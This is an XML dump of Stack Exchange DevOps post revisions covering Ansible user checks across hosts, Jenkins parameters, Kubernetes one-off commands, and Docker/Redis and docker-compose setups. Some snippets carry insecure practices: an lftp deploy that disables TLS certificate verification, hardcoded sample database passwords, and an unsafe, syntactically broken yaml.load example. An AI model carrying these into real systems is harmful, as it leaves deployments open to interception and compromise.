test_02&#xD;&#xA;  msg: non-zero return code&#xD;&#xA;  rc: 1&#xD;&#xA;  start: '2020-09-25 08:20:33.369015'&#xD;&#xA;  stderr: ''&#xD;&#xA;  stderr_lines: &lt;omitted&gt;&#xD;&#xA;  stdout: ''&#xD;&#xA;  stdout_lines: &lt;omitted&gt;&#xD;&#xA;changed: [test_01 -&gt; test_03] =&gt; (item=test_03)&#xD;&#xA;skipping: [test_01] =&gt; (item=test_04) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_05) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_06) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_07) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_08) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_09) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_10) &#xD;&#xA;...ignoring&#xD;&#xA;&#xD;&#xA;TASK [set_fact] ****&#xD;&#xA;ok: [test_01]&#xD;&#xA;&#xD;&#xA;TASK [debug] ****&#xD;&#xA;ok: [test_01] =&gt; &#xD;&#xA;  my_host: test_03&#xD;&#xA;&#xD;&#xA;TASK [add_host] ****&#xD;&#xA;changed: [test_01]&#xD;&#xA;&#xD;&#xA;PLAY [my_group] ****&#xD;&#xA;&#xD;&#xA;TASK [debug] ****&#xD;&#xA;ok: [test_03] =&gt; &#xD;&#xA;  inventory_hostname: test_03&#xD;&#xA;&#xD;&#xA;PLAY RECAP *****&#xD;&#xA;test_01: ok=4 changed=2 unreachable=0 failed=0 skipped=0 rescued=0 ignored=1   &#xD;&#xA;test_03: ok=1 changed=0 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38370" PostHistoryTypeId="5" PostId="12495" RevisionGUID="9cec2c0e-f377-4074-8325-cde54f9b3d09" CreationDate="2020-09-25T06:38:58.983" UserId="7715" Comment="added 47 characters in body" Text="Let's test the use-case with 10 remote hosts (test_01 - test_10) in the group *test* and user *my-user* in the hosts test_03 and test_07. To test the existence of the user, use the shell command&#xD;&#xA;&#xD;&#xA;```sh&#xD;&#xA;shell&gt; cat /etc/passwd|grep my-user&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;For example the playbook&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; cat playbook.yml&#xD;&#xA;- hosts: test&#xD;&#xA;  tasks:&#xD;&#xA;    - shell: cat /etc/passwd|grep my-user&#xD;&#xA;      register: result&#xD;&#xA;      ignore_errors: true&#xD;&#xA;    - set_fact:&#xD;&#xA;        results: &quot;{{ results|default({})|&#xD;&#xA;                     combine({item: hostvars[item].result.rc}) }}&quot;&#xD;&#xA;      loop: &quot;{{ ansible_play_hosts }}&quot;&#xD;&#xA;      run_once: true&#xD;&#xA;    - debug:&#xD;&#xA;        var: results&#xD;&#xA;      run_once: true&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;ok: [test_01] =&gt; &#xD;&#xA;  results:&#xD;&#xA;    test_01: 1&#xD;&#xA;    test_02: 1&#xD;&#xA;    test_03: 0&#xD;&#xA;    test_04: 1&#xD;&#xA;    test_05: 1&#xD;&#xA;    test_06: 1&#xD;&#xA;    test_07: 0&#xD;&#xA;    test_08: 1&#xD;&#xA;    test_09: 1&#xD;&#xA;    test_10: 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;To skip the rest of the hosts, when the first host is found, iterate the list of the hosts and test *rc*. Then add the host to a new group and run the next play with this group. For example,&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; cat playbook.yml&#xD;&#xA;- hosts: test&#xD;&#xA;  vars:&#xD;&#xA;    dresult:&#xD;&#xA;      rc: 1&#xD;&#xA;  tasks:&#xD;&#xA;    - block:&#xD;&#xA;        - shell: cat /etc/passwd|grep my-user&#xD;&#xA;          register: result&#xD;&#xA;          loop: &quot;{{ ansible_play_hosts }}&quot;&#xD;&#xA;          delegate_to: &quot;{{ item }}&quot;&#xD;&#xA;          ignore_errors: true&#xD;&#xA;          when: (result|default(dresult)).rc == 1&#xD;&#xA;        - set_fact:&#xD;&#xA;            my_host: &quot;{{ result.results|json_query('[?rc == `0`].item')|first }}&quot;&#xD;&#xA;        - debug:&#xD;&#xA;            var: my_host&#xD;&#xA;        - add_host:&#xD;&#xA;            name: &quot;{{ my_host }}&quot;&#xD;&#xA;            groups: my_group&#xD;&#xA;      run_once: true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- hosts: my_group&#xD;&#xA;  gather_facts: false&#xD;&#xA;  tasks:&#xD;&#xA;    - debug:&#xD;&#xA;        var: inventory_hostname&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; ansible-playbook playbook.yml &#xD;&#xA;&#xD;&#xA;PLAY [test] ****&#xD;&#xA;&#xD;&#xA;TASK [shell] ****&#xD;&#xA;failed: [test_01 -&gt; test_01] (item=test_01) =&gt; changed=true &#xD;&#xA;  ansible_loop_var: item&#xD;&#xA;  cmd: cat /etc/passwd|grep my-user&#xD;&#xA;  delta: '0:00:00.023271'&#xD;&#xA;  end: '2020-09-25 08:20:31.823168'&#xD;&#xA;  item: test_01&#xD;&#xA;  msg: non-zero return code&#xD;&#xA;  rc: 1&#xD;&#xA;  start: '2020-09-25 08:20:31.799897'&#xD;&#xA;  stderr: ''&#xD;&#xA;  stderr_lines: &lt;omitted&gt;&#xD;&#xA;  stdout: ''&#xD;&#xA;  stdout_lines: &lt;omitted&gt;&#xD;&#xA;failed: [test_01 -&gt; test_02] (item=test_02) =&gt; changed=true &#xD;&#xA;  ansible_loop_var: item&#xD;&#xA;  cmd: cat /etc/passwd|grep my-user&#xD;&#xA;  delta: '0:00:00.017642'&#xD;&#xA;  end: '2020-09-25 08:20:33.386657'&#xD;&#xA;  item: test_02&#xD;&#xA;  msg: non-zero return code&#xD;&#xA;  rc: 1&#xD;&#xA;  start: '2020-09-25 08:20:33.369015'&#xD;&#xA;  stderr: ''&#xD;&#xA;  stderr_lines: &lt;omitted&gt;&#xD;&#xA;  stdout: ''&#xD;&#xA;  stdout_lines: &lt;omitted&gt;&#xD;&#xA;changed: [test_01 -&gt; test_03] =&gt; (item=test_03)&#xD;&#xA;skipping: [test_01] =&gt; (item=test_04) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_05) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_06) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_07) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_08) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_09) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_10) &#xD;&#xA;...ignoring&#xD;&#xA;&#xD;&#xA;TASK [set_fact] ****&#xD;&#xA;ok: [test_01]&#xD;&#xA;&#xD;&#xA;TASK [debug] ****&#xD;&#xA;ok: [test_01] =&gt; &#xD;&#xA;  my_host: test_03&#xD;&#xA;&#xD;&#xA;TASK [add_host] ****&#xD;&#xA;changed: [test_01]&#xD;&#xA;&#xD;&#xA;PLAY [my_group] ****&#xD;&#xA;&#xD;&#xA;TASK [debug] ****&#xD;&#xA;ok: [test_03] =&gt; &#xD;&#xA;  inventory_hostname: test_03&#xD;&#xA;&#xD;&#xA;PLAY RECAP *****&#xD;&#xA;test_01: ok=4 changed=2 unreachable=0 failed=0 skipped=0 rescued=0 ignored=1   &#xD;&#xA;test_03: ok=1 changed=0 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38371" PostHistoryTypeId="5" PostId="12495" RevisionGUID="5a62bde6-ca6a-4d30-93e0-3e85a5091fbd" CreationDate="2020-09-25T07:26:36.810" UserId="7715" Comment="deleted 23 characters in body" Text="Let's test the use-case with 10 remote hosts (test_01 - test_10) in the group *test* and user *my-user* in the hosts test_03 and test_07. To test the existence of the user, use the shell command&#xD;&#xA;&#xD;&#xA;```sh&#xD;&#xA;shell&gt; cat /etc/passwd|grep my-user&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;For example the playbook&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; cat playbook.yml&#xD;&#xA;- hosts: test&#xD;&#xA;  tasks:&#xD;&#xA;    - shell: cat /etc/passwd|grep my-user&#xD;&#xA;      register: result&#xD;&#xA;      ignore_errors: true&#xD;&#xA;    - set_fact:&#xD;&#xA;        results: &quot;{{ results|default({})|&#xD;&#xA;                     combine({item: hostvars[item].result.rc}) }}&quot;&#xD;&#xA;      loop: &quot;{{ ansible_play_hosts }}&quot;&#xD;&#xA;      run_once: true&#xD;&#xA;    - debug:&#xD;&#xA;        var: results&#xD;&#xA;      run_once: true&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;ok: [test_01] =&gt; &#xD;&#xA;  results:&#xD;&#xA;    test_01: 1&#xD;&#xA;    test_02: 1&#xD;&#xA;    test_03: 0&#xD;&#xA;    test_04: 1&#xD;&#xA;    test_05: 1&#xD;&#xA;    test_06: 1&#xD;&#xA;    test_07: 0&#xD;&#xA;    test_08: 1&#xD;&#xA;    test_09: 1&#xD;&#xA;    test_10: 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;To skip the rest of the hosts, when the first host is found, iterate the list of the hosts and test *rc*. Then add the host to a new group and run the next play with this group. For example,&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; cat playbook.yml&#xD;&#xA;- hosts: test&#xD;&#xA;  vars:&#xD;&#xA;    dresult:&#xD;&#xA;      rc: 1&#xD;&#xA;  tasks:&#xD;&#xA;    - block:&#xD;&#xA;        - shell: cat /etc/passwd|grep my-user&#xD;&#xA;          register: result&#xD;&#xA;          loop: &quot;{{ ansible_play_hosts }}&quot;&#xD;&#xA;          delegate_to: &quot;{{ item }}&quot;&#xD;&#xA;          ignore_errors: true&#xD;&#xA;          when: (result|default(dresult)).rc == 1&#xD;&#xA;        - set_fact:&#xD;&#xA;            my_host: &quot;{{ result.results|json_query('[?rc == `0`].item')|first }}&quot;&#xD;&#xA;        - debug:&#xD;&#xA;            var: my_host&#xD;&#xA;        - add_host:&#xD;&#xA;            name: &quot;{{ my_host }}&quot;&#xD;&#xA;            groups: my_group&#xD;&#xA;      run_once: true&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- hosts: my_group&#xD;&#xA;  tasks:&#xD;&#xA;    - debug:&#xD;&#xA;        var: inventory_hostname&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;gives&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;shell&gt; ansible-playbook playbook.yml &#xD;&#xA;&#xD;&#xA;PLAY [test] ****&#xD;&#xA;&#xD;&#xA;TASK [shell] ****&#xD;&#xA;failed: [test_01 -&gt; test_01] (item=test_01) =&gt; changed=true &#xD;&#xA;  ansible_loop_var: item&#xD;&#xA;  cmd: cat /etc/passwd|grep my-user&#xD;&#xA;  delta: '0:00:00.023271'&#xD;&#xA;  end: '2020-09-25 08:20:31.823168'&#xD;&#xA;  item: test_01&#xD;&#xA;  msg: non-zero return code&#xD;&#xA;  rc: 1&#xD;&#xA;  start: '2020-09-25 08:20:31.799897'&#xD;&#xA;  stderr: ''&#xD;&#xA;  stderr_lines: &lt;omitted&gt;&#xD;&#xA;  stdout: ''&#xD;&#xA;  stdout_lines: &lt;omitted&gt;&#xD;&#xA;failed: [test_01 -&gt; test_02] (item=test_02) =&gt; changed=true &#xD;&#xA;  ansible_loop_var: item&#xD;&#xA;  cmd: cat /etc/passwd|grep my-user&#xD;&#xA;  delta: '0:00:00.017642'&#xD;&#xA;  end: '2020-09-25 08:20:33.386657'&#xD;&#xA;  item: test_02&#xD;&#xA;  msg: non-zero return code&#xD;&#xA;  rc: 1&#xD;&#xA;  start: '2020-09-25 08:20:33.369015'&#xD;&#xA;  stderr: ''&#xD;&#xA;  stderr_lines: &lt;omitted&gt;&#xD;&#xA;  stdout: ''&#xD;&#xA;  stdout_lines: &lt;omitted&gt;&#xD;&#xA;changed: [test_01 -&gt; test_03] =&gt; (item=test_03)&#xD;&#xA;skipping: [test_01] =&gt; (item=test_04) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_05) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_06) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_07) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_08) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_09) &#xD;&#xA;skipping: [test_01] =&gt; (item=test_10) &#xD;&#xA;...ignoring&#xD;&#xA;&#xD;&#xA;TASK [set_fact] ****&#xD;&#xA;ok: [test_01]&#xD;&#xA;&#xD;&#xA;TASK [debug] ****&#xD;&#xA;ok: [test_01] =&gt; &#xD;&#xA;  my_host: test_03&#xD;&#xA;&#xD;&#xA;TASK [add_host] ****&#xD;&#xA;changed: [test_01]&#xD;&#xA;&#xD;&#xA;PLAY [my_group] ****&#xD;&#xA;&#xD;&#xA;TASK [debug] ****&#xD;&#xA;ok: [test_03] =&gt; &#xD;&#xA;  inventory_hostname: test_03&#xD;&#xA;&#xD;&#xA;PLAY RECAP *****&#xD;&#xA;test_01: ok=4 changed=2 unreachable=0 failed=0 skipped=0 rescued=0 ignored=1   &#xD;&#xA;test_03: ok=1 changed=0 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38372" PostHistoryTypeId="5" PostId="12328" RevisionGUID="f94fc431-e25d-45ba-b8ad-575da82ea80d" CreationDate="2020-09-25T07:41:28.667" UserId="23783" Comment="deleted 864 characters in body; edited tags" Text="I already used the following declarative script as a part of my cleanup script, now I should convert it to the scripted pipeline, how I can convert the post to the scripted pipeline?&#xD;&#xA;&#xD;&#xA;   " ContentLicense="CC BY-SA 4.0" />
  <row Id="38373" PostHistoryTypeId="6" PostId="12328" RevisionGUID="f94fc431-e25d-45ba-b8ad-575da82ea80d" CreationDate="2020-09-25T07:41:28.667" UserId="23783" Comment="deleted 864 characters in body; edited tags" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38378" PostHistoryTypeId="2" PostId="12497" RevisionGUID="405e60ad-9950-4c24-8c82-5af16507ea7c" CreationDate="2020-09-25T08:27:48.290" UserId="24089" Text="Currently I have a setup on AWS with 4 EC2 machines. They provide a web interface that among other things also has a database search. My recent project was to move the database search to AWS Elastic Search. That took a while but in the end it was fine, because to create the initial index I simply had to SSH into one of the machines, run the command to create the index and I was done.&#xD;&#xA;&#xD;&#xA;I could not have done it without SSH'ing into it because the production environment (meaning DB and ES instances) is not directly accessible from dev PCs (which makes sense to me).&#xD;&#xA;&#xD;&#xA;So, being quite new to Kubernetes my question is: if we were to migrate these EC2 instances and switch to a Kubernetes kind of setup, how would I run the initial command to create the ES index?&#xD;&#xA;&#xD;&#xA;I know I can connect to a pod when it's a single container but these would most likely have containers at least for nginx, redis and django (the one I'd want to connect)." ContentLicense="CC BY-SA 4.0" />
  <row Id="38379" PostHistoryTypeId="1" PostId="12497" RevisionGUID="405e60ad-9950-4c24-8c82-5af16507ea7c" CreationDate="2020-09-25T08:27:48.290" UserId="24089" Text="How to run a single one-time command on a kubernetes instance/pod" ContentLicense="CC BY-SA 4.0" />
  <row Id="38380" PostHistoryTypeId="3" PostId="12497" RevisionGUID="405e60ad-9950-4c24-8c82-5af16507ea7c" CreationDate="2020-09-25T08:27:48.290" UserId="24089" Text="&lt;kubernetes&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38381" PostHistoryTypeId="2" PostId="12498" RevisionGUID="1908edf9-5150-4336-b096-a93bf374386a" CreationDate="2020-09-25T08:58:12.443" UserId="23212" Text="Yes, it's absolutely reasonable and this is how real apps work. This is the microservice approach which allows to independently scale instances of a service and a DB.&#xD;&#xA;&#xD;&#xA;What you have to do is to run your Flask and Redis services in a way so the first one can achieve the second one. If they are on the same machine, you just have to open Redis port used by your Flask app (probably 6379):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker run -d -p 192.168.10.20:6379:6379 your_redis_image&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And specify IP address and port of the Redis container in your Flask app. This is better to be done with a config file like the following `yaml`:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;redis:&#xD;&#xA;  host: '172.16.10.20'&#xD;&#xA;  pw: 'YourPassWord'&#xD;&#xA;  port: 6379&#xD;&#xA;  db: 0&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And use it in the code:&#xD;&#xA;&#xD;&#xA;```python&#xD;&#xA;import yaml, redis&#xD;&#xA;&#xD;&#xA;cfg_file open('config.yaml', 'r')&#xD;&#xA;cfg = yaml.load(cfg_file)&#xD;&#xA;redcfg = cfg['redis']&#xD;&#xA;&#xD;&#xA;r = redis.Redis(&#xD;&#xA;    host=redcfg['host'], port=redcfg['port'],&#xD;&#xA;    db=redcfg['db'], password=redcfg['pw'],&#xD;&#xA;)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Don't forget to copy this file into container to be accessible from the inside." ContentLicense="CC BY-SA 4.0" />
  <row Id="38383" PostHistoryTypeId="2" PostId="12499" RevisionGUID="1c449b39-4f17-4a37-84cf-36f3e541bf00" CreationDate="2020-09-25T13:27:45.520" UserId="6258" Text="By default Docker uses the `bridge` network.  &#xD;&#xA;&#xD;&#xA;On a default Docker installation you can simply map a port to the container's service port.  The Redis Docker image exposes its service on port `6379` so you can do:&#xD;&#xA;&#xD;&#xA;`$ docker run --name rd -d -p 6379:6379 redis:latest`&#xD;&#xA;&#xD;&#xA;From your host you can now run use the `redis-cli` utility:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ redis-cli&#xD;&#xA;127.0.0.1:6379&gt; ping&#xD;&#xA;PONG&#xD;&#xA;127.0.0.1:6379&gt;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="38385" PostHistoryTypeId="5" PostId="12468" RevisionGUID="66422434-cb91-48f0-9bc9-376792d07bc1" CreationDate="2020-09-25T16:21:02.590" UserId="9877" Comment="PCI" Text="I'm still fairly new to the Docker game, too, but I've got a few little projects that I do exactly what you are asking about. Through my own experience with trial &amp; error (mostly error...) I would suggest using a docker-compose.yml with your network set to static internal IPs so each container will have predictable, repeatable results and IPs that you can configure your containers to communicate across.&#xD;&#xA;&#xD;&#xA;I'm not familiar with `BaseX` but I have a sample situation using docker-compose `version: &quot;3.7&quot;` here that could easily run multiple apps and/or be added to or repurposed to fit your hypothetical. &#xD;&#xA;&#xD;&#xA;This example docker-compose has the following:&#xD;&#xA;&#xD;&#xA;- A separate container for populating my `app-volume` volume with the contents of a public GitHub repo.&#xD;&#xA;&#xD;&#xA;- An Apache Web Server container with PHP-FPM enabled for a &quot;selective backend&quot; that gets built from a Dockerfile in the ~/dockerbuild directory. &#xD;&#xA;&#xD;&#xA;- An nginx web server container used as a reverse proxy for all things PHP to be passed to Apache (but serves &amp; caches pretty much everything else). &#xD;&#xA;&#xD;&#xA;- A MariaDB container in the mix for the app DB that I populate with a mysqldump file after the app gets built.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is a slimmed down version of my docker-compose.yml, so note that you can add a variety of things like `healthcheck:` and `command:` to fit your needs. &#xD;&#xA;&#xD;&#xA;You execute with `docker-compose up -d --build` to both build and start your app in one command (but you'll probably want to create your own ba(.sh) file that you execute afterwards, too for those important finishing touches).&#xD;&#xA;&#xD;&#xA;Take notice of `static-network`. And while I am using named volumes in the example, that's just a preference of mine. &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3.7&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  github_repo_clone:&#xD;&#xA;    image: debian:latest&#xD;&#xA;    container_name: github_repo_clone&#xD;&#xA;    networks: &#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.254&#xD;&#xA;&#xD;&#xA;    command: bash -c &quot;&#xD;&#xA;        apt-get update &amp;&amp; &#xD;&#xA;        apt-get install git -y &amp;&amp;&#xD;&#xA;        rm -rf examplerepo &amp;&amp;&#xD;&#xA;        git clone https://github.com/exampleuser/examplerepo.git &amp;&amp;&#xD;&#xA;        rm -rf /var/www/vhosts/exampleuser/examplerepo &amp;&amp;&#xD;&#xA;        mkdir -p /var/www/vhosts/exampleuser/examplerepo &amp;&amp;&#xD;&#xA;        cp -rapv examplerepo/* /var/www/vhosts/exampleuser/examplerepo &amp;&amp;&#xD;&#xA;        rm -rf examplerepo &amp;&amp;&#xD;&#xA;        tail -f /dev/null&#xD;&#xA;      &quot;&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;  apache_php-fpm_backend:&#xD;&#xA;    container_name: debian-build-demo0&#xD;&#xA;    build: ~/dockerbuild&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;8080:8080&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.2&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  nginx_rp:&#xD;&#xA;    image: nginx:latest&#xD;&#xA;    container_name: nginx-build-demo0&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;80:80&quot;&#xD;&#xA;     - &quot;443:443&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.3&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;&#xD;&#xA;  mariadb:&#xD;&#xA;    restart: always&#xD;&#xA;    image: mariadb:latest&#xD;&#xA;    container_name: mariadb-build-demo0&#xD;&#xA;    ports:&#xD;&#xA;     - &quot;3306:3306&quot;&#xD;&#xA;    networks:&#xD;&#xA;      static-network:&#xD;&#xA;        ipv4_address: 172.20.0.10&#xD;&#xA;    environment:&#xD;&#xA;     - MYSQL_ROOT_PASSWORD=4007p@$$w04d&#xD;&#xA;     - MYSQL_USER=dbusernamegoeshere&#xD;&#xA;     - MYSQL_PASSWORD=@p@$$w04d&#xD;&#xA;     - MYSQL_DATABASE=dbnamegoeshere&#xD;&#xA;    volumes:&#xD;&#xA;     - app-volume:/var/www/vhosts&#xD;&#xA;    healthcheck:&#xD;&#xA;      test: [&quot;CMD&quot;, &quot;mysqladmin&quot; ,&quot;ping&quot;, &quot;-h&quot;, &quot;localhost&quot;]&#xD;&#xA;      timeout: 10s&#xD;&#xA;      retries: 5&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  app-volume:&#xD;&#xA;#    external: true&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  static-network:&#xD;&#xA;    driver: bridge&#xD;&#xA;    ipam:&#xD;&#xA;      driver: default&#xD;&#xA;      config:&#xD;&#xA;       - subnet: 172.20.0.0/16&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My clean up command when I take the app down is kind of ugly, but not terribly difficult to read and goes something like this: &#xD;&#xA;`docker-compose down -v ; docker rmi -f dockerbuild_apache_php-fpm_backend:latest mariadb:latest nginx:latest debian:latest ; docker rmi -f $(docker images -q --filter &quot;dangling=true&quot;) ; docker rmi -f $(docker images -q --filter label=stage=intermediate) ; docker volume prune -f; `&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think each &quot;independent app&quot; could (and probably should) have its own docker-compose and/or Dockerfiles, but you may find synergies with certain Dockerfiles that you can create custom `command:` instructions for (such as the git_repo_clone example) to be used &amp; shared across multiple &quot;apps&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="38386" PostHistoryTypeId="2" PostId="12501" RevisionGUID="f2ed5602-b162-49b7-ae95-edf8bd99d545" CreationDate="2020-09-25T16:22:26.913" UserId="24092" Text="Though below code works fine individually:&#xD;&#xA;extendedChoice description: '', multiSelectDelimiter: ',', name: 'Capablities', quoteValue: false, saveJSONParameterToFile: false, type: 'PT_CHECKBOX',value: 'Chrome_macos10_15, Chrome_win10', visibleItemCount: 30&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I need Chrome_macos10_15, Chrome_win10 need to be passed from external file.&#xD;&#xA;Can anyone please suggest how it can be achieved?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38387" PostHistoryTypeId="1" PostId="12501" RevisionGUID="f2ed5602-b162-49b7-ae95-edf8bd99d545" CreationDate="2020-09-25T16:22:26.913" UserId="24092" Text="Extended Choice Parameter: How to load params dynamically from any file for jenkins build job" ContentLicense="CC BY-SA 4.0" />
  <row Id="38388" PostHistoryTypeId="3" PostId="12501" RevisionGUID="f2ed5602-b162-49b7-ae95-edf8bd99d545" CreationDate="2020-09-25T16:22:26.913" UserId="24092" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38389" PostHistoryTypeId="2" PostId="12502" RevisionGUID="a653cd9b-cf5d-4edf-ad2e-39f51e8664c6" CreationDate="2020-09-25T18:26:57.487" UserId="23358" Text="**Thanks to [this answer](https://stackoverflow.com/a/54104353/332578)**&#xD;&#xA;&#xD;&#xA;I fixed this by adding the following to my lftp command&#xD;&#xA;&#xD;&#xA;    set ftp:use-allo false; set ftp:passive-mode true; set ftp:prefer-epsv false;&#xD;&#xA;&#xD;&#xA;which made my finished command the following&#xD;&#xA;&#xD;&#xA;    lftp -e &quot;set ftp:use-allo false; set ftp:passive-mode true; set ftp:prefer-epsv false; set ssl:verify-certificate no; open mediajackagency.com; user $LFTP_USERNAME $LFTP_PASSWORD; mirror --reverse --verbose --delete-first build/ /var/www/domains/dev/clients/jhm/cornerstone-mvp/build/; bye&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38390" PostHistoryTypeId="2" PostId="12503" RevisionGUID="aab46710-ef93-4cfd-b9a3-f084520fad1b" CreationDate="2020-09-25T20:17:49.113" UserId="124" Text="Yes--absolutely you can skip Kubernetes. Suggest that you still use Docker, but you could even just install the components separately.&#xD;&#xA;&#xD;&#xA;I think it's easiest using Docker Compose (need to have package `docker-compose` installed on your host) to manage the containers.&#xD;&#xA;&#xD;&#xA;Here is a `docker-compose.yml` that might be helpful:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: '3'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;    prometheus:&#xD;&#xA;        image: prom/prometheus:latest&#xD;&#xA;        restart: unless-stopped&#xD;&#xA;        ports:&#xD;&#xA;            - &quot;9090:9090&quot;&#xD;&#xA;        volumes:&#xD;&#xA;            - /home/${USER}/opt/prometheus/data:/opt/prometheus/data:rw&#xD;&#xA;            - /home/${USER}/opt/prometheus/config:/opt/prometheus/config:rw&#xD;&#xA;        environment:&#xD;&#xA;            SERVER_KEY: ${SERVER_KEY}&#xD;&#xA;            SERVER_CERT: ${SERVER_CERT}&#xD;&#xA;&#xD;&#xA;    grafana:&#xD;&#xA;        image: grafana/grafana:latest&#xD;&#xA;        restart: unless-stopped&#xD;&#xA;        ports:&#xD;&#xA;            - &quot;3000:3000&quot;&#xD;&#xA;        volumes:&#xD;&#xA;            - /home/${USER}/var/lib/grafana:/var/lib/grafana:rw&#xD;&#xA;            - /home/${USER}/var/log/grafana:/var/log/grafana:rw&#xD;&#xA;            - /home/${USER}/etc/grafana/grafana.ini:/etc/grafana/grafana.ini:rw&#xD;&#xA;            - /home/${USER}/etc/grafana/ldap.toml:/etc/grafana/ldap.toml:rw&#xD;&#xA;        environment:&#xD;&#xA;            SERVER_KEY: ${SERVER_KEY}&#xD;&#xA;            SERVER_CERT: ${SERVER_CERT}&#xD;&#xA;            GF_SECURITY_ADMIN_USER: ${GF_SECURITY_ADMIN_USER}&#xD;&#xA;            GF_SECURITY_ADMIN_PASSWORD: ${GF_SECURITY_ADMIN_PASSWORD}&#xD;&#xA;        depends_on:&#xD;&#xA;            - &quot;prometheus&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Can also use Docker Compose for Loki and Promtail.&#xD;&#xA;&#xD;&#xA;Docker Compose reference: https://docs.docker.com/compose/compose-file&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38391" PostHistoryTypeId="2" PostId="12504" RevisionGUID="54c09e3a-c7be-4d7c-85d4-b1b090fb4660" CreationDate="2020-09-25T21:19:06.077" UserId="23443" Text="tentative answer:&#xD;&#xA;&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker run --name rds -d redis redis-server --appendonly yes&#xD;&#xA;    d85ce8736fc33f81edc7e63972391f6eb34586d562b4066f57395f9ea2bafe58&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker container ls&#xD;&#xA;    CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS               NAMES&#xD;&#xA;    d85ce8736fc3        redis               &quot;docker-entrypoint.s…&quot;   9 seconds ago       Up 6 seconds        6379/tcp            rds&#xD;&#xA;    root $ &#xD;&#xA;    root $ docker exec -it rds redis-cli&#xD;&#xA;    127.0.0.1:6379&gt; &#xD;&#xA;    127.0.0.1:6379&gt; keys *&#xD;&#xA;    (empty array)&#xD;&#xA;    127.0.0.1:6379&gt; &#xD;&#xA;    127.0.0.1:6379&gt; 